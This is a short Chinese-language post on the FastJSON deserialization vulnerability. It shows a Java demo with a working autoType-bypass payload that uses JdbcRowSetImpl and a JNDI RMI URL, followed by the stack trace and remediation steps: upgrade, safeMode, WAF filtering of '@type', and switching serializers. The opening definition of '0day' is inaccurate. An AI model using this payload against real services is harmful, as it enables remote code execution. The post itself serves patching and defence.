fastjason 0day 漏洞修复
一、0day漏洞:
通常是指软件版本,在新版本发布后随后会在24小时内出现对应的破解版。近段时间内,阿里云云盾应急响应中心发现了FastJSON存在一个0day漏洞,并被发现能够被用来规避网络威胁进而实施远程代码执行。
二、DEMO:
public class DemoTest {
public static void main(String[] args) {
String payload = "{\"name\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},\"x\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://127.0.0.1:1099/Exploit\",\"autoCommit\":true}}";
JSON.parse(payload);
}
}
代码解读
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.28</version>
</dependency>
代码解读
程序执行信息:
Exception in thread "main" com.alibaba.fastjson.JSONException: set property error, autoCommit
at com.alibaba.fastjson.parser.deserializer.FieldDeserializer.setValue(FieldDeserializer.java:132)
at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze(JavaBeanDeserializer.java:588)
at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.parseRest(JavaBeanDeserializer.java:948)
at com.alibaba.fastjson.parser.deserializer.FastjsonASMDeserializer_1_JdbcRowSetImpl.deserialze(Unknown Source)
at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze(JavaBeanDeserializer.java:184)
at com.alibaba.fastjson.parser.DefaultJSONParser.parseObject(DefaultJSONParser.java:371)
at com.alibaba.fastjson.parser.DefaultJSONParser.parseObject(DefaultJSONParser.java:520)
at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1335)
at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1301)
at com.alibaba.fastjson.JSON.parse(JSON.java:148)
at com.alibaba.fastjson.JSON.parse(JSON.java:139)
at com.jason.seria.fastjason.DemoTest .main(Demo.java:10)
Caused by: java.lang.reflect.InvocationTargetException
at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.lang.reflect.Method.invoke(Method.java:498)
at com.alibaba.fastjson.parser.deserializer.FieldDeserializer.setValue(FieldDeserializer.java:92)
... 11 more
Caused by: java.sql.SQLException: JdbcRowSet (连接) JNDI 无法连接
at com.sun.rowset.JdbcRowSetImpl.connect(JdbcRowSetImpl.java:634)
at com.sun.rowset.JdbcRowSetImpl.setAutoCommit(JdbcRowSetImpl.java:4067)
... 16 more
三、漏洞修复:
1、漏洞影响范围
FastJSON 1.2.48以下版本
2、修复方案
方案一 : pom.xml中引用的版本升级:
升级Fastjosn到1.2.76版本或更新版本;
方案二:开启safeMode=true,开启方式可参考如下:
-
在JVM配置增加:-Dfastjson.parser.safeMode=true
-
在fastjson.properties设置fastjson.parser.safeMode=true
方案三 : 防火墙拦截:
WAF拦截Json请求中的多种编码形式的‘@type’,‘\u0040type’等字样;
方案四 : 更换其它序列化方式:
建议尽可能使用Jackson或者Gson;
